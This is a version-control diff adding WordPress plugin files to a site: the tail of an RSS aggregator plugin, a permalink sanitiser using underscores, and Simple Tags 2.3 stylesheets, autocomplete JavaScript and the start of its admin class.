+			if ( isset($_POST['submit']) )
+			{
+				if (!current_user_can('manage_options')) die(__('You cannot edit the Shapley RSS Aggregator options.'));
+				check_admin_referer('shapley-aggregator-updatesettings');
+
+				foreach (array('feeds','categories','seconds') as $option_name)
+				{
+					if (isset($_POST[$option_name]))
+					{
+						$option[$option_name] = htmlentities(html_entity_decode($_POST[$option_name]));
+					}
+				}
+				foreach (array('linkback','nofollow') as $option_name)
+				{
+					if(isset($_POST[$option_name]))
+					{	
+						$option[$option_name] = true;
+					} 
+					else
+					{
+						$option[$option_name] = false;
+					}
+				}
+				update_option("shapley_rss_aggregator",$option);
+			}
+			
+			$options = get_option("shapley_rss_aggregator");
+			?>
+				<!-- Admin Form -->
+				<div class="wrap">
+					<h2>Shapley RSS Aggregator Configuration</h2>
+					<form action="" method="post" id="shapleyaggregator-conf">
+						<table class="form-table">
+						<?php if (function_exists('wp_nonce_field')) { wp_nonce_field('shapley-aggregator-updatesettings'); } ?>
+							<tr>
+								<th scope="row" valign="top">
+									<label for="feeds">RSS Feeds</label>
+								</th>
+								<td>
+									<textarea name="feeds" id="feeds" style="width:500px; height:100px;">
+										<?php echo htmlentities($options['feeds']); ?>
+									</textarea>
+								</td>
+							</tr>
+
+							<tr>
+								<th scope="row" valign="top">
+									<label for="seconds">Seconds between each feed load:</label>
+								</th>
+								<td>
+									<input type="text" name="seconds" id="seconds" value="<?php echo htmlentities($options['seconds']); ?>" />
+								</td>
+							</tr>
+							
+							<tr>
+								<th>
+									<label for="categories">Category for the aggregated data?</label>
+								</th>
+								<td>
+									<?php wp_dropdown_categories("name=categories&show_option_none=-- None --&selected=".$options['categories']); ?>
+								</td>
+							</tr>
+							
+							<tr>
+								<th>
+									<label for="linkback">Link back to original post?</label>
+								</th>
+								<td>
+									<input type="checkbox" id="linkback" name="linkback" <?php if ($options['linkback']) { echo 'checked="checked"'; } ?>/>
+								</td>
+							</tr>
+							
+							<tr>
+								<th>
+									<label for="nofollow">No Follow the link back?</label>
+								</th>
+								<td>
+									<input type="checkbox" id="nofollow" name="nofollow" <?php if ($options['nofollow']) { echo 'checked="checked"'; } ?>/>
+								</td>
+							</tr>
+							
+						</table>
+
+											<br/>
+					<span class="submit" style="border: 0;"><input type="submit" name="submit" value="Save Settings" /></span>
+					
+					</form>
+				</div>
+			<?
+		}
+		
+	}
+	
+}
+// Checks to see if the post has already been submitted, it uses URL's to do this.
+function unique_post($rss_url)
+{
+	$exists = false;
+	$all_posts = get_posts('numberposts=1000&post_type=post&post_status=');
+	foreach ($all_posts as $blog_post)
+	{
+		if($rss_url == get_post_meta($blog_post->ID, "url", true))
+		{
+			$exists = true;
+		} 
+	}
+	return $exists;
+}
+function shapley_rss_aggregate()
+{
+	$options = get_option("shapley_rss_aggregator");
+
+// Only check every 24 hours (this will eventually be an option)
+if ($options['lastcheck'] < ( mktime() - $options['seconds'] ) ) 
+{
+	$feed_list = split("[\n\r\t ]+",$options['feeds']);
+	
+	foreach($feed_list as $feed)
+	{
+		$valid = strpos($feed, "http://" , 0);
+		if($valid === false) // string contains http://
+		{
+			// do nothing if the string doesn't contain HTTP
+		}
+		else
+		{
+			if( ! $rssxml = simplexml_load_file( $feed ))
+			{
+				echo "<p>Unable to access the RSS Feed</p>";
+			}
+			else
+			{
+				foreach( $rssxml->channel->item as $items)
+				{
+					// This function will check to see if the post is unique
+					$unique = unique_post($items->link);
+
+					// if the post is unique, create a new one				
+						if ($unique === false)
+						{
+							// Create post array
+							$post_content = $items->description;
+							if($options['nofollow'] === true) { $rel = "rel='nofollow'"; } else { $rel = ""; }
+							if($options['linkback'] === true)	
+							{
+								$post_content .= "<p>Originally posted from <a href='".$items->link."' ".$rel.">".$items->title."</a>";
+							}
+							$my_post = array();
+							$my_post['post_title'] = $items->title;
+							$my_post['post_content'] = $post_content;
+							$my_post['post_status'] = 'publish';
+							$my_post['post_author'] = 1;
+							$my_post['post_category'] = array($options['categories']);
+									  
+							// wp_insert_post, returns the post id, ideal we can then add the source URL to check for uniqueness
+							$post_id = wp_insert_post( $my_post );
+					 
+						// adds the source URL, this is purely to check that each post is unique
+						add_post_meta( $post_id, 'url', "".$items->link."", true);
+					}
+				}
+			}
+		}
+		
+	}
+	$options['lastcheck']= mktime();
+	update_option("shapley_rss_aggregator",$options);
+}
+}
+//	Run the plugin  each time the footer is loaded, the plugin will cache and run hourly, could be controllable from the admin page
+	add_action('wp_footer', 'shapley_rss_aggregate');
+// Add Admin Page
+	add_action('admin_menu', array('shapley_aggregator','add_config_page'));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sanitize-with-undescores/1.0/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sanitize-with-undescores/1.0/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sanitize-with-undescores/1.0/readme.txt	(revision 44)
@@ -0,0 +1,23 @@
+=== Plugin Name ===
+Contributors: SnaKeZ
+Tags: permalink, sanitize, url, post
+Tested up to: 1.0
+Requires at least: 1.0
+Stable tag: 1.0
+
+It allows to use undescores '_' in the permalink rather then default hyphen '-'.
+
+== Description ==
+
+When i decided to launch my blog, i made a little Wordpress's plug-in (i didn't find it) called "Sanitize with underscores": as you can imagine it allows to use undescores '_' in the permalink rather then default hyphen '-'.
+
+Before:
+`http://[...]/name - of - post.html`
+
+After:
+`http://[...]/name _ of _ post.html`
+
+
+[Author Homepage](http://read.melodycode.com/ "Author Homepage")
+
+[Plugin Homepage](http://read.melodycode.com/news/274/sanitize_with_undescores.html "Plugin Homepage")
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/sanitize-with-undescores/1.0/sanitize_with_undescores.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/sanitize-with-undescores/1.0/sanitize_with_undescores.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/sanitize-with-undescores/1.0/sanitize_with_undescores.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+/*
+Plugin Name: Sanitize permalink with undescores
+Plugin URI: http://www.melodycode.com
+Description: Modifica il permalink affinch&egrave; ogni parola sia separata da un underscore "_" al posto del trattino "-" che Wordpress usa di default (si tratta solo di una leggera modifica alla funzione gi&agrave; esistente).
+Version: 1
+Author: Daniele Simonin
+Author URI: http://www.melodycode.com
+*/
+
+function sanitize_permalink_with_undescores($title) {
+	$title = strip_tags($title);
+	// Preserve escaped octets.
+	$title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);
+	// Remove percent signs that are not part of an octet.
+	$title = str_replace('%', '', $title);
+	// Restore octets.
+	$title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);
+
+	$title = remove_accents($title);
+	if (seems_utf8($title)) {
+		if (function_exists('mb_strtolower')) {
+			$title = mb_strtolower($title, 'UTF-8');
+		}
+		$title = utf8_uri_encode($title);
+	}
+
+	$title = strtolower($title);
+	$title = preg_replace('/&.+?;/', '', $title); // kill entities
+	$title = preg_replace('/[^%a-z0-9 _-]/', '', $title);
+	$title = preg_replace('/\s+/', '_', $title);
+	$title = preg_replace('|_+|', '_', $title);
+	$title = trim($title, '_');
+
+	return $title;
+}
+
+remove_action('sanitize_title', 'sanitize_title_with_dashes');
+add_action('sanitize_title', 'sanitize_permalink_with_undescores');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/bcomplete/bcomplete-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/bcomplete/bcomplete-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/bcomplete/bcomplete-rtl.css	(revision 44)
@@ -0,0 +1,1 @@
+.bcomplete-popup{text-align:right;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/bcomplete/bcomplete.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/bcomplete/bcomplete.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/bcomplete/bcomplete.css	(revision 44)
@@ -0,0 +1,7 @@
+.bcomplete-popup{position:absolute;border:1px solid #000;background:#eee;text-align:left;}
+.bcomplete-popup .item{font-family:tahoma, verdana, sans-serif;font-size:11px;cursor:default;padding:3px 8px;}
+.bcomplete-popup .selected{background:#ccc;}
+.bcomplete-popup .down-button{background-image:url(down-arrow.gif);border-top:1px solid #6e6e6e;}
+.bcomplete-popup .up-button{background-image:url(up-arrow.gif);border-bottom:1px solid #6e6e6e;}
+.bcomplete-popup .up-button,.bcomplete-popup .down-button{height:14px;overflow:hidden;background-color:#d4d0c8;background-repeat:no-repeat;background-position:50% 4px;}
+.bcomplete-popup .disabled{background-position:50% -60px;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/bcomplete/bcomplete.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/bcomplete/bcomplete.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/bcomplete/bcomplete.js	(revision 44)
@@ -0,0 +1,472 @@
+RegExp.escape = function(text)
+{
+    if (!arguments.callee.sRE)
+    {
+        var specials = [
+            '/', '.', '*', '+', '?', '|',
+            '(', ')', '[', ']', '{', '}', '\\'
+        ];
+
+        arguments.callee.sRE = new RegExp(
+            '(\\' + specials.join('|\\') + ')', 'g'
+        );
+    }
+
+    return text.replace(arguments.callee.sRE,'\\$1');
+};
+
+var BComplete = Class.create();
+BComplete.prototype =
+{
+    MAX_VISIBLE : 8,
+    TIMER_TICK : 10,
+    CANCEL_SUBMISSION_TIMEOUT : 10,
+
+    initialize : function(element,max)
+    {
+        if(max)
+        {
+            this.MAX_VISIBLE = max;
+        }
+
+        this.data = new Array();
+        this.element = $(element);
+        if(!this.element)
+        {
+            throw("BComplete: The specified <input> element does not exist.");
+        }
+
+        this.element.setAttribute("autocomplete","off");
+        Element.addClassName(this.element,"bcomplete-field");
+
+        this.visible = false;
+        this.cancelSubmit = false;
+        this.scroll = 0;
+        this.selectedIndex = -1;
+        this.matches = new Array();
+
+        this.popup = document.createElement("div");
+        Element.hide(this.popup);
+        this.popup.className = "bcomplete-popup";
+        document.body.appendChild(this.popup);
+
+        this.upButton = document.createElement("div");
+        this.upButton.className = "up-button";
+        this.popup.appendChild(this.upButton);
+
+        this.listItems = new Array();
+        for(var i=0;i<this.MAX_VISIBLE;i++)
+        {
+            var item = document.createElement("div");
+            this.listItems[i] = item ;
+            item.className = "item";
+            this.popup.appendChild(item);
+            item.autocomplete = this;
+            item.number = i;
+
+            item.onclick = this.onItemClick;
+            item.onmouseover = this.onItemOn;
+            item.onmouseout = this.onItemOff;
+        }
+
+        this.downButton = document.createElement("div");
+        this.downButton.className = "down-button";
+        this.popup.appendChild(this.downButton);
+
+        Event.observe(this.element,"keypress",
+            this.onKeyPress.bindAsEventListener(this));
+        Event.observe(this.element,"keydown",
+            this.onKeyDown.bindAsEventListener(this));
+        Event.observe(this.upButton,"click",
+            this.onUpButton.bindAsEventListener(this));
+        Event.observe(this.downButton,"click",
+            this.onDownButton.bindAsEventListener(this));
+        Event.observe(document,"click",
+            this.onWindowClick.bindAsEventListener(this));
+
+        this.onTick = this.onTick.bind(this);
+        this.onSubmit = this.onSubmit.bind(this);
+
+        // look for parent <form>
+        var parentForm = this.element.parentNode;
+        while(parentForm)
+        {
+            if(parentForm.tagName.toLowerCase() == "form")
+                break;
+
+            parentForm = parentForm.parentNode;
+        }
+
+        // capture submit event for parent <form>
+        var me = this;
+        if(parentForm)
+        {
+            var oldHandler = parentForm.onsubmit;
+            parentForm.onsubmit = function()
+            {
+                if(oldHandler)
+                    return (oldHandler() && me.onSubmit());
+                else
+                    return me.onSubmit();
+            };
+        }
+    },
+
+    addItem : function(item)
+    {
+        this.data[this.data.length] = item;
+        this.data.sort();
+    },
+
+    setData : function(data)
+    {
+        this.data = data;
+        data.sort();
+    },
+
+    loadData : function(url)
+    {
+        var me = this;
+        var success = function(request)
+        {
+            try
+            {
+                var data = eval(request.responseText);
+                if(typeof data == "object")
+                {
+                    me.setData(data);
+                }
+            }
+            catch(exception)
+            {
+                throw("BComplete: Invalid data format.");
+            }
+        };
+
+        var request = new Ajax.Request(url,
+            { method: 'get', onSuccess: success });
+    },
+
+    findMatches : function(text)
+    {
+        var matches = new Array();
+
+        // Modifications for multiples values
+        var exp = new RegExp(",?[^,]*$" , "i");
+        m = text.match(exp);
+        text = m[0].replace(/^[,\s]+|\s+$/g,"");
+
+        // Strict search (old) (must start with...)
+        // var expression = new RegExp("^"+ RegExp.escape(text),"i");
+        // Cool search
+        var expression = new RegExp(RegExp.escape(text),"i");
+
+        for(var i=0;i<this.data.length;i++) {
+            if(this.data[i].match(expression)) {
+                matches[matches.length] = this.data[i];
+            }
+        }
+
+        return matches;
+    },
+
+    temporarilyDisableSubmission : function()
+    {
+        this.cancelSubmit = true;
+        var me = this;
+        var revert = function()
+        {
+            me.cancelSubmit = false;
+        };
+
+        setTimeout(revert,this.CANCEL_SUBMISSION_TIMEOUT);
+    },
+
+    onWindowClick : function(event)
+    {
+        var element = Event.element(event);
+
+        var parent = element;
+        while(parent)
+        {
+            if(parent == this.element || parent == this.popup ||
+               parent == this.showAllButton)
+            {
+                return;
+            }
+
+            parent = parent.parentNode;
+        }
+
+        this.hide();
+    },
+
+    onUpButton : function(event)
+    {
+        this.selectedIndex = -1;
+        this.scroll--;
+        if(this.scroll < 0)
+            this.scroll = 0;
+
+        this.show();
+        Event.stop(event);
+        this.element.focus();
+    },
+
+    onDownButton : function(event)
+    {
+        this.selectedIndex = -1;
+        this.scroll++;
+        if(this.scroll > (this.matches.length - this.MAX_VISIBLE))
+            this.scroll = (this.matches.length - this.MAX_VISIBLE);
+
+        this.show();
+        Event.stop(event);
+        this.element.focus();
+    },
+
+    onKeyDown : function(event)
+    {
+        if(event.keyCode == 13 && this.visible)
+        {
+            this.temporarilyDisableSubmission();
+            this.select();
+            Event.stop(event);
+            return false;
+        }
+    },
+
+    showAll : function()
+    {
+        this.matches = this.findMatches('');
+        this.element.focus();
+        this.show();
+    },
+
+    onKeyPress : function(event)
+    {
+        if(event.keyCode == Event.KEY_TAB)
+        {
+            if(this.visible)
+            {
+                this.select();
+                Event.stop(event);
+                return false;
+            }
+        }
+        else if(event.keyCode == Event.KEY_DOWN)
+        {
+            this.selectedIndex++;
+            if(this.selectedIndex < this.scroll)
+                this.selectedIndex = this.scroll;
+
+            if(this.selectedIndex >= this.matches.length)
+                this.selectedIndex = this.matches.length - 1;
+
+            if(this.scroll <= (this.selectedIndex - this.MAX_VISIBLE))
+                this.scroll++;
+
+            if(this.matches.length == 0)
+            {
+                this.matches = this.findMatches(this.element.value);
+            }
+
+            this.show();
+            Event.stop(event);
+            return;
+        }
+        else if(event.keyCode == Event.KEY_UP)
+        {
+            this.selectedIndex--;
+            if(this.selectedIndex <= -1 && this.scroll <= 0)
+            {
+                this.selectedIndex = -1;
+                this.hide();
+                Event.stop(event);
+                return;
+            }
+
+            if(this.selectedIndex <= -1)
+                this.selectedIndex = this.scroll + (this.MAX_VISIBLE - 1);
+
+            if(this.scroll > this.selectedIndex)
+                this.scroll--;
+
+            this.show();
+            Event.stop(event);
+            return;
+        }
+        else if(event.keyCode != 13)
+        {
+            if(this.timerId)
+                clearTimeout(this.timerId);
+
+            this.timerId = setTimeout(this.onTick,this.TIMER_TICK);
+        }
+    },
+
+    onTick : function()
+    {
+        this.selectedIndex = -1;
+        this.scroll = 0;
+        if(this.element.value != '')
+        {
+            this.matches = this.findMatches(this.element.value);
+            if(this.matches.length > 0)
+                this.show();
+            else
+                this.hide();
+        }
+        else
+        {
+            this.hide();
+        }
+    },
+
+    onSubmit : function()
+    {
+        if(this.cancelSubmit)
+        {
+            this.cancelSubmit = false;
+            return false;
+        }
+        else
+        {
+            return true;
+        }
+    },
+
+    onItemOn : function()
+    {
+        for(var i=0;i<this.autocomplete.MAX_VISIBLE;i++)
+            Element.removeClassName(this.autocomplete.listItems[i],"selected");
+
+        Element.addClassName(this,"selected");
+        this.autocomplete.selectedIndex = this.number;
+    },
+
+    onItemOff : function()
+    {
+        Element.removeClassName(this,"selected");
+        this.autocomplete.selectedIndex = -1;
+    },
+
+    onItemClick : function()
+    {
+        this.autocomplete.selectedIndex = this.number;
+        this.autocomplete.select();
+    },
+
+    show : function()
+    {
+        if(this.matches.length <= 0)
+            return ;
+
+        var text = this.element.value;
+
+	    // Modifications for multiples values
+		var exp = new RegExp(",?[^,]*$" , "i");
+		m = text.match(exp);
+		text = m[0].replace(/^[,\s]+|\s+$/g,"");
+
+        var expression = new RegExp("("+RegExp.escape(text)+")","i");
+
+        if(this.scroll > 0)
+            Element.removeClassName(this.upButton,"disabled")
+        else
+            Element.addClassName(this.upButton,"disabled")
+
+        if((this.scroll + this.MAX_VISIBLE) < this.matches.length)
+            Element.removeClassName(this.downButton,"disabled")
+        else
+            Element.addClassName(this.downButton,"disabled")
+
+        for(var i=0;i<this.MAX_VISIBLE;i++)
+        {
+            if(this.matches[i+this.scroll])
+            {
+                var text = this.matches[i+this.scroll];
+                text = text.replace(expression,"<strong>$1</strong>");
+                this.listItems[i].innerHTML = text;
+                this.listItems[i].number = i + this.scroll;
+                this.listItems[i].value = this.matches[i+this.scroll];
+
+                if(this.selectedIndex == (this.scroll + i))
+                    Element.addClassName(this.listItems[i],"selected");
+                else
+                    Element.removeClassName(this.listItems[i],"selected");
+
+                Element.show(this.listItems[i]);
+            }
+            else
+            {
+                Element.hide(this.listItems[i]);
+            }
+        }
+
+        this.visible = true;
+        Element.show(this.popup);
+        this.setPopupPosition();
+    },
+
+    setPopupPosition : function()
+    {
+        var position = Position.cumulativeOffset(this.element);
+        var scrollY = document.body.scrollTop ?
+            document.body.scrollTop : document.documentElement.scrollTop;
+        var viewHeight = (navigator.userAgent.toLowerCase().indexOf("safari") != -1 &&
+            window.innerHeight) ? window.innerHeight :
+                document.documentElement.clientHeight;
+
+        this.popup.style.width = (this.element.offsetWidth - 2) + "px";
+        this.popup.style.left = position[0] + "px";
+
+        var popupTop = position[1] + Element.getHeight(this.element);
+        if((popupTop + this.popup.offsetHeight > scrollY + viewHeight) &&
+           (position[1] - this.popup.offsetHeight > scrollY))
+        {
+            popupTop = position[1] - this.popup.offsetHeight;
+        }
+
+        this.popup.style.top = popupTop + "px";
+    },
+
+    hide : function()
+    {
+        this.matches = new Array();
+        this.selectedIndex = -1;
+        this.scroll = 0;
+        this.visible = false;
+        Element.hide(this.popup);
+    },
+
+    select : function()
+    {
+        if(this.selectedIndex != -1)
+        {
+            // Modifications for multiples values
+            //this.element.value += this.matches[this.selectedIndex]+', ';
+            this.element.value = this.element.value.replace(/(,?\s?)[^,]*$/i, "$1" + this.matches[this.selectedIndex] + ', ');
+        }
+        setCaretToEnd(this.element);
+        this.hide();
+    }
+};
+
+function setSelectionRange(input, selectionStart, selectionEnd) {
+  if (input.setSelectionRange) {
+    input.focus();
+    input.setSelectionRange(selectionStart, selectionEnd);
+  }
+  else if (input.createTextRange) {
+    var range = input.createTextRange();
+    range.collapse(true);
+    range.moveEnd('character', selectionEnd);
+    range.moveStart('character', selectionStart);
+    range.select();
+  }
+}
+
+function setCaretToEnd (input) {
+  setSelectionRange(input, input.value.length, input.value.length);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/functions.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/functions.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/functions.js	(revision 44)
@@ -0,0 +1,26 @@
+function addTag(tag) {
+	var tag_entry = document.getElementById("tags-input");
+	if ( tag_entry.value.length > 0 && !tag_entry.value.match(/,\s*$/) ) {
+		tag_entry.value += ", ";
+	}
+	var re = new RegExp(tag + ",");
+	if ( !tag_entry.value.match(re) ) {
+		tag_entry.value += tag + ", ";
+	}
+}
+
+Event.observe(window, 'load', function() {
+	Event.observe('post', 'submit', trimTagsBeforeSend);
+});
+function trimTagsBeforeSend() {
+	var tag_entry = document.getElementById("tags-input");
+	var taille = tag_entry.value.length;
+
+	if ( tag_entry.value.substr(taille - 2 , 2) == ', ' ) {
+		tag_entry.value = tag_entry.value.substr( 0, taille - 2);
+	}
+
+	if ( tag_entry.value.substr(taille - 1, 1) == ',' ) {
+		tag_entry.value = tag_entry.value.substr( 0, taille - 1);
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.admin.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.admin.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.admin.css	(revision 44)
@@ -0,0 +1,58 @@
+@media projection, screen{.tabs-hide {display:none;}}
+@media print{.tabs-nav {display:none;}}
+
+.st_wrap fieldset.options legend{display:none;}
+.st_wrap .tags_admin{text-align:center;font-size:0.9em;}
+.st_wrap .stpexplan{font-size:.85em;}
+.st_wrap .stpexplan ul{list-style:square;margin:0 0 0 20px;padding:0;}
+.st_wrap .st_submenu{background:#0d324f;border-bottom:none;margin:0 0 10px;padding:3px 1em 0 2em;}
+.st_wrap .st_submenu a{border:none;color:#fff;font-size:12px;padding:.3em .4em .4em;}
+.st_wrap .st_submenu a:hover{background:#ddeaf4;color:#393939;}
+.st_wrap .st_submenu li{display:inline;line-height:200%;list-style:none;text-align:center;margin:0;padding:0;}
+.st_wrap .tabs-container{display:block;}
+.st_wrap .tabs-hide{display:none;}
+.st_wrap .tabs-selected{font-weight:700;background:#DDEAF4;color:#393939;display:block;}
+.st_wrap .tabs-selected a{background:#DDEAF4;color:#393939;padding:.3em .4em .4em}
+.st_wrap fieldset#taglist ul{list-style:none;margin:0;padding:0;}
+.st_wrap fieldset#taglist ul li{font-size:85%;margin:0;padding:0;}
+.st_wrap fieldset#taglist ul li strong{font-weight:700;width:50px;}
+.st_wrap fieldset#taglist ul li span{cursor:pointer;}
+.st_wrap td.list_tags{vertical-align:top;border-right:1px dotted #ccc;width:220px;}
+.st_wrap .pagination,.st_wrap .widefat th,.st_wrap .widefat td{text-align:center;}
+.st_wrap .pagination{margin:5px 0;}
+.st_wrap .pagination a{margin:1px 3px;}
+.st_wrap .pagination a.current_page{font-weight:700;}
+.st_wrap #post .submit input{width:300px;}
+.st_wrap #post input, .st_wrap .auto_list{width:98%;margin:3px 0;padding:3px 5px;}
+.st_wrap .stpexplan ul li, .st_wrap #suggesttagsdiv p{margin:0;padding:0;}
+
+#advancedstuff_tag fieldset{margin-bottom:1em;}
+#advancedstuff_tag h3{font-weight:400;font-size:13px;padding:3px;}
+#advancedstuff_tag h3 a { color:#fff; border-bottom:0; font-weight:700; }
+#advancedstuff_tag div{margin-top:.5em;}
+#advancedstuff_tag a.dbx-toggle,#advancedstuff a.dbx-toggle-open:visited{height:22px;width:22px;top:3px;right:5px;background-position:0 -3px;}
+#advancedstuff_tag a.dbx-toggle-open,#advancedstuff a.dbx-toggle-open:visited{height:22px;width:22px;top:3px;right:5px;background-position:0 -28px;}
+#advancedstuff_tag img#st_ajax_loading {position:absolute;right:15px;top:6px;width:16px;height:16px;display:none;}
+#advancedstuff_tag .dbx-content span, #st_click_tags span{display:block;float:left;background:#f0f0ee;border:solid 1px;color:#333;cursor:pointer;border-color:#ccc #999 #999 #ccc;margin:3px;padding:3px 4px;padding-left:22px;}
+#advancedstuff_tag .dbx-content span:hover, #st_click_tags span:hover{color:#000;background:#b6bdd2;border-color:#0a246a;}
+#advancedstuff_tag .dbx-content span.ttn_topic{background:#f0f0ee url(images/tag_blue.png) 3px 50% no-repeat;}
+#advancedstuff_tag .dbx-content span.ttn_location{background:#f0f0ee url(images/map.png) 3px 50% no-repeat;}
+#advancedstuff_tag .dbx-content span.ttn_person{background:#f0f0ee url(images/user.png) 3px 50% no-repeat;}
+#advancedstuff_tag .dbx-content span.yahoo{background:#f0f0ee url(images/yahoo_logo.gif) 3px 50% no-repeat;}
+#advancedstuff_tag .dbx-content span.local{background:#f0f0ee url(images/tag_purple.png) 3px 50% no-repeat;}
+#advancedstuff_tag .dbx-content span.ttn_topic:hover{background:#b6bdd2 url(images/tag_blue.png) 3px 50% no-repeat;}
+#advancedstuff_tag .dbx-content span.ttn_location:hover{background:#b6bdd2 url(images/map.png) 3px 50% no-repeat;}
+#advancedstuff_tag .dbx-content span.ttn_person:hover{background:#b6bdd2 url(images/user.png) 3px 50% no-repeat;}
+#advancedstuff_tag .dbx-content span.yahoo:hover{background:#b6bdd2 url(images/yahoo_logo.gif) 3px 50% no-repeat;}
+#advancedstuff_tag .dbx-content span.local:hover{background:#b6bdd2 url(images/tag_purple.png) 3px 50% no-repeat;}
+div.clearer{clear:both;line-height:1px;font-size:1px;height:1px;}
+
+#st_click_tags { padding:6px; border:3px dashed #D1E6EF; margin:3px 0 4px; display:none;max-height:200px;overflow:auto; }
+#st_click_tags span{background:#f0f0ee url(images/tag_purple.png) 3px 50% no-repeat;}
+#st_click_tags span:hover{background:#b6bdd2 url(images/tag_purple.png) 3px 50% no-repeat;}
+a#clicktags, a#close_clicktags {font-weight:700;color:red;border:0;text-decoration:none;}
+a#close_clicktags{display:none;}
+#tagdiv {position:relative;display:block;margin-top:3px;}
+#tagdiv a{position:absolute;top:1px;right:1px;}
+#tagdiv input{margin-top:3px;}
+.box_color{display:block;width:20px;height:20px;border:1px solid #ccc;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.3/inc/simple-tags.admin.php	(revision 44)
@@ -0,0 +1,2322 @@
+<?php
+Class SimpleTagsAdmin {
+	var $version = '';
+
+	var $info;
+	var $options;
+	var $default_options;
+	var $db_options = 'simpletags';
+
+	var $admin_base_url = '';
+
+	// Error management
+	var $message = '';
+	var $status = '';
+
+	// Generic pagination
+	var $datas;
+	var $found_datas = 0;
+	var $max_num_pages = 0;
+	var $data_per_page = 20;
+	var $actual_page = 1;
+
+	// Tags for Editor
+	var $all_tags = false;
+
+	// Tags list (management)
+	var $nb_tags = 50;
+
+	/**
+	 * PHP4 Constructor - Intialize Admin
+	 *
+	 * @return SimpleTagsAdmin
+	 */
+	function SimpleTagsAdmin( $default_options = array(), $version = '', $info = array() ) {	
+		// 1. load version number
+		$this->version = $version;
+		unset($version);
+
+		// 2. Set class property for default options
+		$this->default_options = $default_options;
+
+		// 3. Get options from WP
+		$options_from_table = get_option( $this->db_options );
+
+		// 4. Update default options by getting not empty values from options table
+		foreach( (array) $default_options as $default_options_name => $default_options_value ) {
+			if ( !is_null($options_from_table[$default_options_name]) ) {
+				if ( is_int($default_options_value) ) {
+					$default_options[$default_options_name] = (int) $options_from_table[$default_options_name];
+				} else {
+					$default_options[$default_options_name] = $options_from_table[$default_options_name];
+				}
+			}
+		}
+
+		// 5. Set the class property and unset no used variable
+		$this->options = $default_options;
+		unset($default_options);
+		unset($options_from_table);
+		unset($default_options_value);
+
+		// 6. Get info data from constructor
+		$this->info = $info;
+		unset($info);
+
+		// 8. Admin URL and Pagination
+		$this->admin_base_url = $this->info['siteurl'] . '/wp-admin/admin.php?page=';
+		if ( isset($_GET['pagination']) ) {
+			$this->actual_page = (int) $_GET['pagination'];
+		}
+
+		// 9. Admin Capabilities
+		$role = get_role('administrator');
+		if( !$role->has_cap('simple_tags') ) {
+			$role->add_cap('simple_tags');
+		}
+
+		// 10. Admin menu
+		add_action('admin_menu', array(&$this, 'adminMenu'));
+
+		// 11. Ajax action and JS Helper
+		add_action('init', array(&$this, 'ajaxCheck'));
+
+		// 12. ST CSS Helper
+		add_action('admin_head', array(&$this, 'helperCSS'));
+
+		// 13. Embedded Tags
+		if ( $this->options['use_embed_tags'] == 1 ) {
+			add_action('save_post', array(&$this, 'saveEmbedTags'));
+			add_action('publish_post', array(&$this, 'saveEmbedTags'));		
+      add_action('post_syndicated_item', array(&$this, 'saveEmbedTags'));	
+		}
+
+		// 14. Auto tags
+		if ( $this->options['use_auto_tags'] == 1 ) {
+			add_action('save_post', array(&$this, 'saveAutoTags'));
+			add_action('publish_post', array(&$this, 'saveAutoTags'));
+			add_action('post_syndicated_item', array(&$this, 'saveAutoTags'));
+		}
+
+		// 15. Tags helper for page
+		if ( $this->options['use_tag_pages'] == 1 ) {
+			add_action('edit_page_form', array(&$this, 'helperTagsPage'), 1); // Tag input
+			
+			if ( $this->options['use_autocompletion'] == 1 ) {
+				add_action('dbx_page_advanced', array(&$this, 'helperBCompleteJS'));
+			}			
+			if ( $this->options['use_click_tags'] == 1 ) {
+				add_action('edit_page_form', array(&$this, 'helperClickTags'), 1);
+			}
+			if ( $this->options['use_suggested_tags'] == 1 ) {
+				add_action('edit_page_form', array(&$this, 'helperSuggestTags'), 1);
+			}
+		}
+
+		// 16. Tags helper for post
+		if ( $this->options['use_autocompletion'] == 1 ) {
+			add_action('dbx_post_advanced', array(&$this, 'helperBCompleteJS'));
+		}
+		if ( $this->options['use_click_tags'] == 1 ) {
+			add_action('edit_form_advanced', array(&$this, 'helperClickTags'), 1);
+		}
+		if ( $this->options['use_suggested_tags'] == 1 ) {
+			add_action('edit_form_advanced', array(&$this, 'helperSuggestTags'), 1);
+		}
+
